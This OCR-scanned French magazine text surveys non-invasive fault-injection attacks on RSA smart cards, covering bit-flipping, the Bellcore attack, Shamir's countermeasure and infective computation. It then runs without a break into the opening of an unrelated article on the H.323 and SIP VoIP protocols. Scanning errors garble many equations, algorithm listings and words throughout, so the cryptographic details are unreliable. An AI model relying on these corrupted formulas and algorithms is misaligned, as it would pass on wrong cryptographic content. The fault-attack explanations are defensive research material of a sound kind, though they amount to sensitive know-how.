Nous nous limitons aux attaques dites « non invasives », car elles ne détruisent pas la carte. Nous espérons montrer, en
paraphrasant Ron Rivest, cité en exergue, qu'il y a tellement de détails dans ce probléme que le jeu des chats (attaquants)
et des souris (défenseurs) semble sans fin. En fait, comme le souligne Wagner, pour mesurer la « sécurité » d’un algorithme
sur carte a puce, il manque clairement un cadre formel, une sorte d’algébre du calcul sécurisé, algébre qui reste a inventer.

mots clés : RSA /injection de fautes / contre-mesures

1. Introduction

Lexemple le plus connu de cartes a puce (smart cards) en France
est certainement la carte bancaire. Une carte SIM, celle que vous
avez certainement dans votre teléphone mobile, est aussi une
carte a puce. La place de cet objet singulier gu'est une « puce »
dans notre vie de tous les jours est de plus en plus prégnante. On
trouve des puces aussi bien dans les cartes bancaires, les cartes
SIM, que dans les systémes de porte-monnaie électronigue, de
télé payante (pay-TV cards) ou, bien sir, dans la carte Vitale. On
evalue aujourd’hui a plusieurs dizaines de milliards les cartes a
puce fabriguées et qui ont été ou qui sont encore en circulation.
Pendant de nombreuses annees, il était considéré qu'une carte &
puce était un systéme protégé et gu'il suffisait d'implémenter de
« bons » algorithmes cryptographiques pour garantir la sécurité.
On commenca alors a utiliser RSA pour concevoir des cartes a
puce qui soit signent (application principale), soit chiffrent.

La surprise fut donc grande lorsqu'en 1996 Paul Kocher [KOa]
publia a Crypto son article au titre provocateur (et célébre) : « Timing
Attacks on Implementations of Diffie-Hellman, RSA, DSS, and
Other Systems ». Cette attaque dite « attague temporelle »
(Timing attack) marque le début d'une longue série d'attaques.
Ainsi, le méme Paul Kocher recidiva en publiant, avec Joshua
Jaffe et Benjamin Jun, une nouvelle série d'attaques, I'attaque
DPA (Differential Power Analysis) qui permet de retrouver une
clé privée de chiffrement RSA avec plusieurs mesures de 'énergie
consommee lors d'une signature (par exemple), et l'attaque SPA
(Single Power Analysis) qui permet de retrouver une clé privee
de chiffrement RSA avec une unigue mesure. Ce qui était trés
inquietant etait le fait que ce type d'attagues peut fonctionner avec
qguasiment n'importe quel algorithme, comme le souligne le titre
de l'article [KOa].

Ces attagues sont passives, I'attaquant se contente d'observer,
de mesurer plus exactement, un parametre : le temps, l'energie,
les émissions electromagnetiques, etc. Mais, il existe aussi des
attaques plus agressives, qui perturbent le fonctionnement de
la carte a puce. R. Anderson [ANa] cite de tels exemples dans
son ouvrage (lecture a recommander, le livre se trouve sur le site
web de l'auteur). Par exemple, selon lui, les premiéres attaques

agressives l'ont été sur des cartes pay-TV, cest-a-dire des cartes
qui permettent de regarder une chaine de television payante
[ANa, pp. 306-307]. Une carte a puce n'ayant pas sa propre
source d'energie, ni d’horloge, on peut changer brusquement le
niveau d'energie envoyéee ou changer aussi brusguement le signal
controlant I'norloge. De telles attagues utilisent ce gu'on nomme
des glitches . des clocks glitches ou des power glifches suivant
gu'on modifie I'horloge ou I'énergie [ANa]. Toutes les attaques
citées ici sont dites « non invasives », car elles ne detruisent pas
la carte, celle-ci restant utllisable aprés I'attague, que celle-ci ait
réeussi ou non.

Pour simplifier l'expose, nous appellerons attagues par injection
de fautes d'une carte a puce (fault infection attacks) toute action,
lorsgue celle-ci « travaille », modifiant le contexte habituel de la
carte : variation de |la température, de I'énergie, de 'horloge,
eclairage par laser ou par flash, bombardement par rayons X cu
par flux d’'ions, etc. Nous présentons ici une série d'attaques par
injection de fautes et de contre-attaques liees au probléeme de
lexponentiation, algorithme central du chiffrement et de |a signature
RSA. Nous nous limitens a des attaques non invasives.

Afin de rendre la lecture de l'article relativement indépendante,
tous les algorithmes sont rappelés rapidement, mais le lecteur
peut (re)lire tout ou partie des réferences. Ainsi, les articles
[BAa,BAb BAc] presentent les attaques temporelles, les attagues
SPA et DPA ; I'article [ER] présente RSA en detail. Enfin, tout
lecteur intéresse par ce genre de recherches se doit de lire la these
d'Otto [OT] qui contient une présentation détaillée des algorithmes
et des attagues, de nombreuses références, une sorte d'éfat de /'art
sur ces problemes. Le lecteur intéresse par la realisation de ce type
d'expérimentations, dont certaines sont vraiment abordables du
point de vue financier, peut consulter [ANa, ANb,ANc], [KOa,KOb],
[DU], [UCH], [SK] et l'intéressant Sorcerer’'s Apprentice Guide
to Fault Attacks [SOR] tout indiqué pour débuter.

2. RSA sur cartes a puce

Pour simplifier, une carte a puce peut étre vue comme un « petit »
ordinateur constitué au minimum d'un CPU, d'une ROM, d'une
EEPROM, d'une RAM et d'un bus.
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Nous supposons que la carte a puce est congue pour signer un
message m a l'aide d'une cle RSA N qui est le produit de deux
entiers premiers de taille (en nombre de bits) egale. Il y a deux
classes d'algorithmes permettant d'effectuer le calcul de cette
signature :

= le RSA dit « classique » ;
= le RSA dit « a restes chinois » (CRT-RSA).

2.1 RSA classique

Lalgorithme 1 est un exemple de RSA classique :

= N est le module public RSA, produit de deux nombres premiers
petq;

= e est 'exposant public de chiffrement ;

= d est l'exposant de dechiffrement (privee).

Le couple (N, e) est la clé publique tandis que le couple (N,d)
est la clé privée. On calcule alors directement m® mod N par un
algorithme d'exponentiation rapide. Si on remplace d par lexposant
de chiffrement (generalement public) e, qui vérifie ¢ * 2 = 1 mod (),
avec ¢(N)=(r -1)(g-1), ¢ etant la fonction d'Euler, on obtient
c=mtmed &, l& chiffré du message m.

ALGORITHME 1 : Signature RSA classique

[Dennées]:

N = pg . nodule RSA:

d 1 exposant privé ;
[Sortiel: Ta signature 5 de m |
[Début]:
m! mod A .

g

[Finl.

2.2 RSA par restes chinois |

L'algorithme 2 est un exemple de RSA par restes chinois (CRT-
RSA) qui utilise le théoréme des restes chinois, avec le calcul de
la signature par l'algorithme de Garner.

| par restes chinofs (formule de Garner)

ALGORITHME 2  Signature BS

[Données]: M= pg :
a & exposant privé ;
d,=dmod p ;
d,=dmod g ;
i, =g mod p

[Sortiel: la signature S = CRT (S,.5,) = m* mod N de m

8, = m'? mod N
i
S,=m "mod g
S=CRT(S, S, )=5,+q0 *(S, -5 ) mod p);

Finl,

Pour comprendre (et éventuellement retrouver) I'algorithme de
Garner, le lecteur peut réfléchir a I'équation suivante (ou X est
l'inconnue) :

§=85,+Xgq

On peut montrer que comme on a S, = Smod g=m‘ mod g gt
S, =Smod p=m*mod p,ilexiste bienun Xtelque § = 5, + X ¢.
On adonc:

(S-S, )mod p=(S, -5, mod p= Xqgmod p,
ce qui entraine x = (s, - 5,)(g" mod pimod p, ON laisse |a fin de la

déemonstration au lecteur c'est-a-dire de montrer que cette égalité
modufaire est en fait une egalité dans Z, soit qu'on a en fait :

X =(5, - §,)g 'mod pymed p.

Cet algorithme, proposé par Quisquater et Couvreur en 1982, est
tres utilise pour signer un message avec RSA (ou pour déchiffrer)
en raison de sa rapidite. Pour un RSA classique, dit « équilibré »
(balanced RSA), p et g sont de méme taille, si n est le nombre de
bits de N, cela donne donc n/2 bits environ pour les facteurs. Or, les
opérations sur les entiers manipules par RSA ayant une complexité
dans l'ordre du carré du nombre de bits, utiliser I'algorithme 2 est
environ quatre fois plus rapide que l'algorithme 1.

3. Taxonomie des attaques non

invasives
3.1 Modeles de fautes

La profusion d'attaques proposées (et publiées) ces dernieres
années a amené M. Otto a proposer dans sa these (soutenue en
2005) une taxonomie des attaques possibles. Lidée générale d'une
attaque par injection de faute est de perturber legerement le calcul
de la signature (ou du chiffrement) afin d'obtenir un résultat faux
(mais « faux » d'une certaine maniére comme nous le verrons), et
de récupérer la clé privée ou le message. Le but du jeu (I'objectif
du chat) est donc d'introduire une certaine erreur a un moment
particulier du calcul. En effet, si certaines erreurs introduites dans
le calcul permettent de retrouver la clé privée ou le message, il
faut préciser que toute erreur ne permet pas nécessairement cela,
heureusement. Lobjectif du défenseur (la sourig) est de concevoir
un algorithme (ou des contre-mesures physiques, électronigues,
efc.) qui résiste aux attagues par injection de fautes.

Nous presentons rapidement les différents modeles d'attaques
d'algorithmes sur cartes a puce présentées de maniére trés
detaillée dans [OT] :

= Modele de faute #1 : I'attaquant peut modifier un seul bit, ou il
le veut et quand il le veut ; I'attaguant a donc le contréle total du
timing (ce qui est trés important dans certaines attagues) et de la
nouvelle valeur.

= Modele de faute #2 : 'attaquant peut modifier un seul octet,
quand il le veut ; I'attaguant a encore le controle total du timing,
mais il a un contréle seulement partiel sur la valeur. En particulier,
il ne peut predire quel octet d'un mot sera affecté, il ne peut donc
prédire la nouvelle valeur.
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= Modéle de faute #3 : I'attaquant peut modifier un seul octet;
I'attaquant a le controle partiel du timing et de I'emplacement de
la faute ; il ne peut donc prédire la nouvelle valeur

= Modele de faute #4 : on peut modifier la valeur d'une seule
variable ; l'attaguant a le controle partiel du timing et aucun contrle
sur 'emplacement ; il ne peut donc prédire Ia nouvelle valeur

Ces modeles pourraient étre raffinés, mais comme ils suffisent
a décrire la plupart des attaques importantes, nous nous
contenterons de ces modeles de fautes.

Enfin, une faute peut avoir un caractére permanent (permanent
fauff) ou transitoire (transient fauft). Une faute permanente est par
exemple la modification de la valeur d'une variable, par exemple
pou N, et la nouvelle valeur obtenue est utilisée tout au long de
l'algorithme, quel qu'il soit. Une attague transitoire signifie qu'on a
reussi a modifier la valeur d'une variable, par exemple p dans le
calcul de §_ dans l'algorithme 2, par exemple lors du transfert de
la valeur dans un registre, la nouvelle valeur reprend donc « ses
droits » par la suite en cas de nouvelle lecture

3.2 Réalité des attaques

Les cartes a puce sont des composants electroniques particuliers.
Theoriquement, elles sont congcues pour qu'on ne puisse lire le
code gu'elles contiennent. On ne peut le modifier et a priori, elles
sont insensibles aux virus et vers. De plus, une carte a puce est
genéralement congue pour effectuer une tache unigue : si certaines
cartes (les SIM par exemple) peuvent en général signer et chiffrer,
la plupart des cartes de type bancaire soit signent, et elles ne
chiffrent pas, soit dechiffrent, et, dans ce cas, elles ne peuvent
signer. Ainsi, si la carte a puce est utilisée par exemple juste pour
signer, e n'est generalement pas siocke sur la carte ; de méme,
si on utilise l'algorithme des restes chinois pour signer, méme o
n'est generalement pas stocke sur la carte, seuls N, p, d.qgetd
sont nécessaires et sont alors stockés sur la carte. Evidemment,
si, grace a une attague, on connait . p, d, getd, on peut alors
calculer d. mais ceci signifie qu'une attaque qui repose sur une
injection de faute sur d ne pourra avoir lieu.

Mais ces cartes, comme tout composant, obéissent aux lois
physiques [OT] : par exemple, si on les utilise, elles chauffent,
elles emetient des rayonnements, etc. R. Anderson [ANa] cite
le fait que les premiéres attaques par injection de fautes ont été
observees de maniere involontaire : les premiers composants
electronigues envoyes dans l'espace se sont avéres tres sensibles
aux rayons cosmigues. Depuis, il a été observé en laboratoire
que de nombreux rayonnements particulaires peuvent induire des
fautes dans des composants électroniques. Votre PC n'est pas non
plus insensible a ce genre de rayonnement.

De nombreux chercheurs ont de fait teste et prouve que les
attaques non invasives sont possibles. O. Kocar a ainsi montre
que chauffer (de maniére non destructive) une carte a puce peut
changer un 0 en 1 et vice-versa. Outre P. Kocher, R. Anderson
et son equipe de Cambridge ont teste de nombreuses attagues,
attagues réussies, en sattachant particulierement a la réalisation
d'attaques a bas colt (low cost attacks) [ANa,ANc]. Evidemment,
ces altagues ne sont pas simples a réaliser, car les manipulations
delicates qu'elles nécessitent demandent un certain doigté, mais
le nsque est reel.

Les industriels de la carte a puce ont évidemment imagine des
contre-mesures aux attaques publiees, mais Irés peu de ces contre-
mesures, qui peuvent étre aussi bien physiques/électroniques
qu'algorithmiques, sont publiees. Nous ne discutons pas ici des

contre-mesures physiques ou électroniques ; nous ne presenterons
pas non plus les technigues de controle (checking) qui permettent
aux cartes a puce (via un code correcteur d'erreurs par exemple)
de détecter un changement dans une des variables : nous nous
intéressons uniquement aux contre-mesures algorithmiques. Toute
contre-mesure physigue/électronique viendra s'ajouler aux contre-
mesures algorithmigues

3.3 Attaque bit-flipping

Pour illustrer la puissance du modéle de faute #1, nous allons
présenter une attaque appelée bit-flipping. Nous supposons
donc que l'attaguant peut modifier un bit choisi, en le mettant par
exemple a 0 s'il esta 1. Il semble d'ailleurs que ceci soit plus facile
que linverse (changer un bit égal a O en un bit égala 1)

Considérons le calcul de la signature d'un message m avec la
cle privee d = (b,,.K b,.b,), correspondant a un module RSA N
soit - 5 = m® mod N. Si la signature se fait par un RSA classique
(algorithme 1), on peut alors récupeérer la clé privée d, bit par bit
de la maniere suivanie :

'» On choisit un message m.
2» On signe avec la carte a puce le message.

On obtient S, la « vraie » signature.
3 Pour jvariantde 0at-1:

=F On recalcule la signaiure en changeant auparavant b en 5} =0y

On obtient alors une signature S,

o»Si S, = S=m*mod N, alors ona b =0 sinon cestque b = 1.
Cette attaque fonctionne bien avec tout algorithme d'exponentiation
On n'a méme pas besoin de connaitre quel algorithme est utilise.
Le lecteur attentif aura remarqué que si on a bien obtenu la clé
privée d, cela ne donne pas pour autant le module N, nécessaire

pour, par exemple, cloner la carte, mais on peut l'obtenir aussi bit
par bit avec la méme attaque.

4. Lattaque Bellcore et

la contre-mesure de Shamir

Nous avons vu gue l'algorithme des restes chinois, adapte par
exemple au cas particulier d'une signature RSA avec un module
N = pg. comme présente dans l'algorithme 1, est trés intéressant,
car il rend la signature pratiguement quatre fois plus rapide. Cest
pour cela qu'il a été intensivement utilisé par les industriels des
cartes a puce. De plus. cet algorithme peut étre vu au premier abord
comme une contre-mesure naturelle des attaques temporelles,
SPA et DPA. Helas, il esl lui-méme sujet a plusieurs attaques de
type non invasif.

La premiere attague non invasive a étée proposee par Boneh,
DeMillo et Lipton en 1996 et publiee dans la revue Journal of
Cryplology en 2001 [BDM] ; on l'appelle souvent la Bellcore
Attack, du nom du laboratoire qui employait les chercheurs a
I'époque. Les contre-mesures permettant d'éviter les attaques non
invasives comme | attague temporelle ou les attaques SPA et DPA
devenant efficaces, les recherches ont porte sur d'autres attagues
invasives el sur les attagues des contre-mesures proposées. Clest
le cas notamment de la contre-mesure proposée par Shamir a la
Rump Session d'Eurocrypt 1997 et qu’il a breveté en 1999 [SH]

Apres avoir présenté des contre-mesures naives en montrant leurs
faiblesses, nous rappelions |'attaque Bellcore et la contre-mesure
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de Shamir (déja présentés dans [BAc]) avant de présenter des
attagues possibles. On verra ainsi que, les attaques des contre-
mesures se raffinant, on obtient des algorithmes de plus en
plus resistants.

41 Contre-mesures naives

Le probleme général de choisir une conire-mesure est trés
delicat :

= La contre-mesure ne doit pas pénaliser I'algorithme, en
particulier, elle ne doit augmenter de maniére significative ni le
temps de calcul ni la mémoire nécessaire a l'exécution (en plus
savant : elle ne doit « dégrader » ni la complexité en temps, ni
la complexité en memoire de I'algorithme de départ). C'est
particulierement vrai évidemment pour les cartes & puce qui sont
limitées en mémaoire et en fréquence.

= Elle doit si possible résister aux attaques connues (ce qui est un
minimum et reste quelquefois sujet a caution), mais elle doit aussi
ne pas introduire de nouvelles faiblesses (ce qui est évident, mais,
comme nous le verrons, pas toujours vrai).

Le principe de base des attaques par injection de faute étant
d'obtenir un calcul erroné, on pourrait imaginer ainsi une contre-
mesure naive : interdire tout simplement a la carte de renvoyer un
resultat faux. On peut par exemple :

'» calculer la signature deux fois (ou plus et faire alors un
« vote ») |

¥ vérifier que S° = m mod V.

En cas d'échec d'un de ces deux contréles, qui pourraient étre
utilises ensemble, la carte ne renvoie rien ou renvoie un message
d'erreur.

Si e et d sonttres larges, ces deux contre-mesures ne font en gros
que doubler le temps de calcul, ce qui reste encore raisonnable. On
calcule une premiére fois la signature S, puis on calcule a nouveau
S, eton compare. Si S, = S, alors on retourne la signature, sinon on
retourne une erreur. Pourtant ces deux contre-mesures souffrent
du méme défaut : si l'attaquant induit une faute permanente sur
une des variables, aucune des vérifications ne détectera quoi que
ce soit. Otto [OT] donne un exemple : si i, = ¢ mod p dans
lalgorithme 2 est modifié de maniére permanents, la valeur X sera
remplacée par une valeur faussée ¥ . Mais comme celle-ci sera
utilisee deux fois, rien ne sera détecté. Nous reviendrons par la
suite sur ce probléme.

4.2 L'attaque Bellcore

Lattaque Bellcore présuppose pour fonctionner I'utilisation d'un
RSA avec restes chinois pour signer (algorithme 3). Elle consiste
a provoquer une faute dans I'un des calculs de S,ou S, (mais l'un
des deux calculs doit renvoyer une valeur correcte).

Supposons donc que Sp n'gst pas correctement calcule, c'est-a-
dire que la carte calcule s, tel que S, = 5, tandis que S, est
correct. On a donc, via l'algorithme de Garnqr décrit dans
I'algorithme 2, une signature erronée (ou faussée) S = CRT (S,.5,)
qui vérifie : S = s, mod p tandis que =5, mod ¢. Une fois la
signature erronée obtenue, un simple calcul de Plus Grand
Commun Diviseur (PGCD) donne le facteur g, puisquon peut
montrer que g = PGCD (S — Smod N, N),

Dans le cas ou e et NV sonl connus de l'attagquant, H. Lenstra a
signale qu'il est possible de retrouver un facteur de N avec juste
une sighature faussée puisque PGCD (5° - m mod N, N).

4.3 La Contre-mesure de Shamir
et ses faiblesses

La contre-mesure de Shamir (algorithme 3) est intéressante, car
elle colite justement relativement peu cher. Elle consiste & |

'® Choisir un entier r au hasard et le garder secret (typiquement
32 bits ou plus mais moins de 80 bits)

L] d v
2» Calculer 5, =m * mod( rp)
i» Calculer S; = m" mod( rg)
4» Calculer § = CRT (5,", S, )mod X si et seulement si 8, =8, mod .

Si une erreur est retournée, cela signifie que le résultat n'est pas
correct, donc, soit une attague a été détectée, soit une « vraie »
erreur s'est produite. Le surcolit induit par la contre-mesure de
Shamir est négligeable, mais cette contre-mesure peut étre
« contre-attaquee », d'au moins trois maniéres connues

= Attaque 1 : Dans [BDL], il est fait remarqué qu'une erreur
« injectée » lors du calcul § = CRT gs; .5.) ne sera pas détectée.

 Attaque 2 : Dans [YKLM], il est fait remarqué qu'on peut aussi
attaquer le test 5, mod 7 = 5, mod 7. En effet, ce type de test est
geéneralement évalué via une soustraction et le résultat stocké dans
un bit « zero flag », le bit ZF, 6*™ bit du registre de flag, qui signifie
que le resultat est nul. Il suffit donc, dans le modéle de faute #1, de
changer la valeur de ce bit pour rendre le test inutilisable.

Il existe une 3éme attaque, due a Wagner [WA] qui sera présentée
dans la suite. Dans le modéle de faute #1, les contre-mesures
naives presentées dans la section 4.2 sont aussi sujettes au
probleme du bit « zero flag » & cause des tesis qu'elles utilisent.

ALGORITHME 3 : RSA-CAT avec contre-mesure de Shamir

[Données]: N = pg : module RSA:

. facteur du module RSA:
2

1 un nombre entier prem

ha §

[Gortiel: m? mod N
[Début]:

d,, =dmod (p-1Lir-1).
d, =dmod (g—1)r- 1.
SF‘ = m*” mod pr

Si,' = m"™ mod qr.

f 8 ,mod 7# 8, mod rthen Return " Erreur ';

8 =CRT (S",5%),
[Finl.

5. Calculs infectieux

Lexpression « infective computation » a été proposée par Yen S.-
M., Kim 8., Lim S. et Moon S. [YKLM] lorsqu'ils ont proposé une
genéralisation de la contre-mesure de Shamir résistant aux deux
attaques 1 et 2 presentées précédemment en 4.3. Nous proposons
« calcul infectieux » comme traduction. Présentons lidée des auteurs
de l'article [YKLM] sur un algorithme de RSA a restes chinois
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il faut faire en sorte que toute erreur dans le calcul de S, (ou S W
doit « infecter » la suite des calculs. Ainsi, on ne peut se trouver
dans la situation de I'attaque Bellcore et celle-ci n'est plus effective.
C'est une idée nouvelle trés importante.

Helas, les algorithmes proposés par Yen S-M., Kim S., Lim S. et
Moon S. ont un défaut : les contraintes sur l'exposant privé d sont
telles, pour que les algorithmes fonctionnent, que la clé d est en
dessous de la borne de Wiener '™ et sont donc trés fragiles, car
sujettes a |'attaque de Wiener — voir par exemple [ER].

Blomer, Otto et Seifert ont repris les travaux de [YKLM] et
ont propose un algorithme (algorithme 4) qui n'a pas le défaut
des algorithmes de [YKLM]. Les entiers ¢, et t, doivent vérifier
certaines propriétes assez simples, le lecteur pourra consulter
[OT]. Lalgorithme original présenté dans [OT] ne nécessite pas
que les entiers £, et f, soient premiers, mais, pour simplifier la
présentation, nous avons fait le choix de ne considérer que des
entiers premiers. Ainsi, les exposants e, et e, sont définis dans
I'algorithme 4 comme, respectivement, les inverses de d_, et
d,., modulo, respectivement, ¢(r}=4 -1 et ¢(s;) =1, -1 soit,
par exemple pour e, : d,.” e, =1mod(t, —-1). (Rappel : si t est
premier . ¢(¢)=+ -1 avec @ fonction d'Euler.)

Il est clair que si aucune erreur n'apparait dans les calculs
précédents, les calculs de ¢, et ¢, alors ceux-ci vaudront tous
deux 1. Dans le cas contraire, si ¢, ou ¢, est différent de 1 alors Ia
signature calculée S sera erronée, mais rendra ineffective l'attaque
Bellcore. C'est le principe méme du « calcul infectieux ».

d,=dmod( p-1)(t, -1} :
d, =dmod( g-1)(t, -1) ,
e, =d™', mod( L=-1) ;
€y = a"]g mod( t-1) .

ge, entizr compris

Mmoo MmEs

1t Le signature S = m? mod N du mess e

Sﬂ' =m™ mod re .

SE' = m* mod gty

S =CRT(S,’.5, )mod Ngt, .
¢, =(m—-8"ymod ¢, ;

¢y =(m-S8" ymod ¢, ;

Return 8= 89 mod N |

Fi

Cet algorithme 4 est-il résistant aux attaques par injection de
fautes du type de I'attaque Bellcore ? |l existe en fait une petite
polemigue a ce sujet.

Les auteurs de l'algorithme 4, Blémer, Otto et Seifert, ont annonce
en 2003 dans leur article [BOS] que leur algorithme était
« provably secure » pour le modéle de faute #4 qui suppose un
attaquant assez faible. En clair, ils annoncent avoir prouvé que leur
algorithme était sécurisé contre les attagues du type Bellcore pour
le modele de faute #4.

Or, Wagner [WA] a proposé en 2004 plusieurs attagues dont une
qui utilise un modele de fautes différent des modéles proposés
par Otto (modéles de fautes #1 & #4) et qui contredit I'affirmation
des auteurs de [BOS]. Les auteurs de [BOS] ont alors réplique en
faisant une légere modification de leur algorithme, présenté dans
[OT] et dans [BO], de maniére a ce que la plupart des attaques
de Wagner ne soient plus effectives. En fait, Blémer, Otto et Seifert
[BOS] ont bien montré que des attaques classiques par injection
de fautes permanentes ou transitoires ont une probabilité de
succes trés faible pour les modéles de fautes #2, #3 et #4. lis
n'ont pas précisé que leur algorithme était sécurisé contre une
altaque dans le modéle de faute #1, mais il faut préciser qu'on ne
sait justement montrer ce genre de résultat.

Pour simplifier, disons que Wagner a, quant a |ui, observé que,
dans le cas d'une attaque par injection, ¢, (respectivement c,)
peut étre différent de 1. Mais, si on peut trouver la valeur de ¢,
(respectivement c,), on peut alors guand méme factoriser N,
car PGCD (m" - 8, ) donne un facteur de V. Or, si on se trouve
dans le modele de faute #4, soit I'attaquant supposé le plus faible,
Wagner a montré qu'on peut espérer que le nombre de valeurs c,
(respectivement c_) soit faible et, a fa limite, essayer une attague
de type brute force : c'est-a-dire qu'on essaye toutes les valeurs
possibles.

Comment est-ce possible ? Pour l'algorithme de Shamir, on injecte
une faute transitoire qui modifie la valeur de m lorsqu'elle est lue
pour le calcul de S; . La carte calcule alors S,, , signature partielle
erronée. On suppose que la faute est obtenue par exemple en
changeant un seul octet de m. Cette faute étant transitoire et non
permanente, la valeur de m reste correcte pour la suite du calcul,
on aura donc la signature partielle § correctement calculée.
On aura alors comme sortie §° = CRT (S}, 5] ymod N 1,1, , [algorithme
renvoie donc § = 5" med & qui vérifie $° = 5" mod ¢, mais avec
5" =5 mod p Comme ¢, = 1, il reste a l'attaquant a trouver
€, qui est différent de 1 mais qui ne peut prendre que peu de
valeurs. L'attaguant obtient alors un facteur de N en calculant
AGCD (87 - mS med &4 On peut montrer que pour un module N de
1024 bits, avec un nombre aléatoire r de 80 bits, la probabilité de
succes de cette attaque est de 4%, ce qui est tout a fait raisonnable.
Elle fonctionne aussi pour |'algorithme 3 avec autant de succes.

Otto a finalement fait remarqué dans sa thése que cetie attaque
de Wagner souffrait d'un léger défaut (on laisse au lecteur le soin
d'aller lire la these d'Otto [OT]), et il a donc proposé une atiaque
ameliorée | En clair, il a corrigé (avec Blémer) I'attaque de Wagner.
Pour contrer les attagues de Wagner, Biomer et Otto [BO] ont
donc proposé I'algorithme 5 qui ajoute une « randomisation »
supplementaire a l'algorithme 4.

avec randomization additionnelle

ar ge moins de 88 bits et
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£y : un nombre entisr premier de moin

d, = dmod( p-1%t, 1)
d,=dmod(g-1)t, - 1) ;
e, =d” mod 1, 1)
e, =d ' ;modl t,-1)

m : De5Sage, entier COmpris entre J 21 n<f |

[Sartiel: L cignature &= mTmod NV de m

S;:»:d’m-od Pt

5, =m“mod pt, :
S;zm“mdqll
.§=CRT{S?-,S;}mod N&t,
e, =(m-S")"R +1 modt, ,
c;=(m-8")*R, +1 modr,
XElar S=§”-rmd N

Conclusion

Nous n'avens fait qu'effleurer le probléme des attaques par
injection de fautes et de leurs contre-mesures. Une partie
des attaques présentées ici s'applique a d'autres types
d’algorithmes, comme la signature par courbe elliptique
[OT). Néeanmoins, le lecteur se sera convaincu que R. Rivest
araison : il y a tellement « de détails » que le jeu des chats
(attaquants) et des souris (defenseurs) semble sans fin. Il
reste donc bel et bien a trouver un cadre formel dans lequel
il faut inventer une algébre formelle du calcul sécurisé sur
cartes a puce, chantier passionnant, mais qui pour l'instant
semble a peine ouvert. Pour ceux qui doutent que le jeu des
chats et des souris soit vraiment loin de se terminer, il leur
suffit de savoir qu'une conférence annuelle, le Workshop
on Fault Diagnosis and Tolerance in Cryptography (FDTC)
a lieu depuis 2003 ; le lecteur curieux consultant les sites
[FDTCOD3, FOTCO04, FDTCO5], qui permettent d’avoir accés a
de nombreux articles presentés lors de ces workshops, se
convaincra aiséement que les chats ne sont pas moins actifs
que les souris.
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LE RISQUE VolIP

> Les protocoles VoIP : H.323 & SIP

La voix sur IP (VolP : Voice Over Internet Protocol) est incontournable aujourd’hui. Non seulement la voix mais
également la vidéo sont accessibles a chaque internaute a condition de disposer d’un accés ayant un débit suffisant.
Les offres ADSL actuelles sont faites pour ga. Le colt des télécommunications a tendance a se diluer dans un forfait
plus global. L'utilisateur final ne se doute pas de la complexité de ce qui se passe lors d'un appel. En VolP, on distingue
2 parties : la signalisation et les médias. Le transport des médias est réalisé dans la majorité des cas par le protocole
RTP (Real-Time Transport Protocol) [1]. La signalisation suit les régles définies par un ou plusieurs protocoles.

Les deux principaux standards de VolP sont H.323 [2] et SIP [3] (Session Initiation Protocol). Nous verrons une
description détaillée de chacun d’eux, suivie d’'une synthése comparative ouvrant sur certains points d'actualitée. Ainsi, ce
comparatif vous permettra de voir une partie des possibilités des deux principales normes actuellement utilisées en VolIP.

mots clés : VolP/H.323/SIP/ RTP/RTCP

1. H.323 : le pionnier

H.323 est la norme publiée par 'lTU-T (International
Telecommunication Union — Telecommunication Standardization
Sector) [4] en février 1996, Elle est prévue pour permettre les
communications multimeédias sur les réseaux de paquets
sans garantie de qualité de service. Au méme moment, le
premier brouillon du protocole SIP est redige. La concurrence
commence. ..

H.323 a evolue depuis et est passé réecemment a la version 6.
C'est aussi actuellement le protocole le plus déployé au monde.

11 Les entités H.323

Une premiére classe d'éléments regroupe les EndPoints (EP) ou
points d'extrémité.

Les terminaux : ils peuvent avoir aujourd'hui des formes tres
diverses. || existe des téléphones aussi appelés (P phone ou
hardphone. S'ils incluent des capacités vidéo, une camera, un
écran, ils sont appelés video phone ou visiophone. Les plus utilises
actuellement par le grand public sont plutét de type sofiphone.
Ce sont des logiciels permettant d'appeler un correspondant
a partir de son ordinateur. lls peuvent inclure un systéme de
messagerie instantanee, basé sur Jabber, par exemple, qui sert
a la gestion de présence. Un autre type de terminal est ATA
(Analog Telephone Adapters) et permet de conserver son vieux
téléphone analogigue tout en passant a la VolP. Enfin, certains
terminaux sont plus évolues comme les systémes IVR (Inferactive
Voice Response) qui sont des serveurs vocaux interactifs ou les
systemes voicemail.

Les passerelles : elles ont pour but de faire la liaison avec un
réseau différent comme le RTC ou un systéme H.320 qui est
le standard de visioconférence sur RNIS. Elles jouent un role
important lorsgu'une entreprise décide de passer a la VolP. En
effet, elles permettent alors aux terminaux H.323 d'accéder au
RTC ou inversement. Chez I'lTSP (Internet Telephony Service
Provider), les gateways servent aux utilisateurs H.323 et aux
utilisateurs RTC pour communiquer.

Les MCU (Multipoint Control Unit) : cette entite est responsable
de la gestion des conférences a deux ou plus. Le MCU contient
un MC (Multipoint Controlier) en charge de la signalisation et un
MP (Muftipoint Processor) en charge des medias. Il est censeé
fonctionner soit en unicast, soit en multicast.

D'autres éléments ne sont pas des points d'extrémite,

Les gatekeepers (GK) : ce sont les portiers ou serveurs du systeme
H.323. Le GK est en charge de I'enregistrement des terminaux et
gére la résolution d'adresse. |l s'occupe également du controle
d'admission. Cependant le GK est optionnel. |l n'est utilisé que
pour le mode centrex, terme technique pour désigner un mode
de fonctionnement centralisé autour d'un serveur par opposition
& un mode peer-to-peer ou les terminaux dialoguent directement
entre eux. || permet aux EP de s'appeler en direct ou en mode
routé, Lorsque |'on utilise un GK, une zone H.323 existe autour de
lui et contient 'ensemble des EP qui en dependent. Un domaine
administratif peut étre composé d'une ou plusieurs zones sous Ia
responsabilité d'une seule et méme autorite.

Les éléments de bordure (BE : border elements): Ce sont
des entités placees a la périphérie des zones ou domaines,
mais également comme relais entre les terminaux d'un réseau
d'entreprise et celui de l'opérateur pour régler le probléme de NAT
par exemple.

1.2 La pile protocolaire

La norme H.323 met en ceuvre plusieurs protocoles reposant sur
TCP ou UDP. Voici une pile protocolaire : figure 1.

H.225.0 définit deux standards différents : RAS (Registration,
Admission and Status) (fig. 2) et Q931 (Call Signaling) pour la
signalisation des appels (fig. 3, page 19). Le premier est dedie au
dialogue entre EP et GK ou GK et GK. Il fonctionne exclusivement
sur UDP. Le port standard utilisé est 1719. |l sert principalement
a la gestion de 'enregistrement des terminaux et au contréle
d'admission. Le second sert a négocier la mise en relation des
terminaux impliqués dans I'appel. Les messages RAS sont
exclusivement destinés a un GK. Les messages Q.931 peuvent
s'échanger directement entre les terminaux, mais ils peuvent
également étre relayés par le GK. On sera alors en mode route.
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Le terminal sera prévenu par le GK lors des échanges RAS du
mode qui sera employé.

Comme protocole de signalisation, il reste H.245 qui sert a la
négociation des capacités médias lors d'un appel (fig. 3, page 19).
